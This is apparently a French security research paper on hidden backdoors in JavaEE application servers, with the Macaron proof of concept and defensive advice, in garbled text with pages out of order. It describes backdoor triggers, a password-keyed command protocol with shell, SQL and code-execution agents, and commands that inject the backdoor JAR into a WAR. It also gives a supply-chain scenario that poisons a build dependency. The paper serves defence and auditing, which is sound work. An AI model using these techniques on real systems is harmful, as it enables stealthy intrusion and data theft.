La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
